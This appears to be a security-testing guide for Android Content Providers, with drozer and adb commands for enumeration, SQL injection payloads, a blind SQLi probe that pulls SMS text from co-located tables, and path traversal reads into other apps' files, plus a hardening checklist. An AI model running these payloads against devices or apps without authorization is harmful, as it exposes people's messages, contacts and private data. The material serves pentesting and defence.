Android Content Provider Pentesting
A comprehensive guide for security testing Android Content Providers.
Overview
Content Providers are Android components that supply data from one application to others on request. They're a common attack surface in mobile pentesting due to misconfigurations like:
- Exported providers without proper permissions
- SQL injection in query/update/delete operations
- Path traversal in file-backed providers
- Missing writePermission declarations
Quick Start
- Enumerate providers:
run app.provider.info -a <package> - Find accessible URIs:
run scanner.provider.finduris -a <package> - Test for vulnerabilities: SQL injection, path traversal, permission bypass
Enumeration
List all providers for a package
dz> run app.provider.info -a com.example.app
Key fields to check:
Read Permission/Write Permission- null means no permission requiredMultiprocess Allowed- true increases attack surfacePath Permissions- specific path-level restrictions
Red flags:
Read Permission: nullANDWrite Permission: null= fully exposedRead Permissionset butWrite Permission: null= potential blind SQLi vectorMultiprocess Allowed: True= cross-process attacks possible
Find accessible URIs
dz> run scanner.provider.finduris -a com.example.app
This attempts to query common URI patterns and reports which ones are accessible.
Note: Path /Keys vs /Keys/ matters - developers often secure one but not the other.
Modern: Use cmd content (ADB ≥ 8.0)
No agent installation required:
adb shell cmd content query --uri content://com.example.provider/path/
adb shell cmd content update --uri content://com.example.provider/path/1 --bind price:d:1337
adb shell cmd content call --uri content://com.example.provider --method evilMethod --arg 'foo'
Database-Backed Providers
Query data
dz> run app.provider.query content://com.example.provider/path/ --vertical
Insert data
dz> run app.provider.insert content://com.example.provider/path/ \
--bind column1:s:value1 \
--bind column2:i:123
Type flags: --string, --double, --float, --integer, --long, --short, --boolean
Update data
dz> run app.provider.update content://com.example.provider/path/ \
--bind column1:s:newvalue \
--where "id=1"
Delete data
dz> run app.provider.delete content://com.example.provider/path/ \
--where "id=1"
SQL Injection Testing
Manual testing
# Test selection parameter
dz> run app.provider.query content://com.example.provider/path/ \
--selection "'"
# Test projection parameter
dz> run app.provider.query content://com.example.provider/path/ \
--projection "* FROM sqlite_master WHERE type='table';--"
Automatic detection
dz> run scanner.provider.injection -a com.example.app
List accessible tables
dz> run scanner.provider.sqltables -a com.example.app
Blind SQLi via update()
When writePermission is omitted but update() is callable, you can exfiltrate data from co-located tables using a blind boolean oracle.
Discovery:
- Check for providers with
readPermissionset butwritePermission: null - Confirm
update()is implemented - Verify target table exists in same DB via
sqlite_master
Probe example:
adb shell cmd content update \
--uri content://service-number/service_number \
--bind rowid:s:123 \
--where '1=1 AND unicode(substr((SELECT body FROM sms ORDER BY rowid DESC LIMIT 1),1,1)) BETWEEN 48 AND 57'
TRUE if update() > 0 or UNIQUE constraint exception thrown.
Use the scripts/blind_sqli_extractor.py script for automated extraction.
File System-Backed Providers
Read files
dz> run app.provider.read content://com.example.provider/path/to/file
Path traversal testing
dz> run app.provider.read content://com.example.provider/../../../etc/hosts
Automatic detection
dz> run scanner.provider.traversal -a com.example.app
Modern Tooling (2023-2025)
Drozer 3.x
pipx install --force "git+https://github.com/WithSecureLabs/drozer@v3.1.0"
adb install drozer-agent-3.1.0.apk
New modules:
scanner.provider.exported- list only exported providersapp.provider.grant- handle FLAG_GRANT_URI_PERMISSION on Android 12+- Better Scoped Storage handling for Android 11+
Grant URI permissions (Android 12+)
dz> run app.provider.grant -a com.example.app -u content://com.example.provider/path
Common Vulnerabilities
writePermission omission
When a provider has readPermission but no writePermission, any app can call insert/update/delete. Combined with SQL injection in update(), this enables blind data exfiltration from co-located tables.
Real-world examples:
content://service-number/service_numbercontent://push-mms/pushcontent://push-shop/push_shop
Path traversal in openFile()
CVE-2024-43089 and CVE-2023-35670 show path traversal in MediaProvider's openFile() method.
adb shell cmd content read \
--uri content://media/external_primary/file/../../data/data/com.target/shared_prefs/foo.xml
Co-location attacks
Sensitive tables (SMS, contacts, etc.) in the same SQLite database as a vulnerable provider can be accessed via blind SQLi even if they have privileged read permissions.
Hardening Checklist
- Set
android:exported="false"unless the provider must be public (mandatory from API 31) - Declare both
readPermissionandwritePermission - Use
SQLiteQueryBuilderwith projection maps - Canonicalize paths in
openFile()to prevent traversal - Keep sensitive tables in separate databases
- Use
FileProvideror Storage Access Framework for file exposure
Workflow Summary
- Enumerate:
app.provider.info+scanner.provider.finduris - Classify: Database-backed vs file-backed
- Test permissions: Check for null writePermission
- Exploit: SQL injection, path traversal, blind exfiltration
- Verify: Use
scanner.provider.injectionandscanner.provider.traversal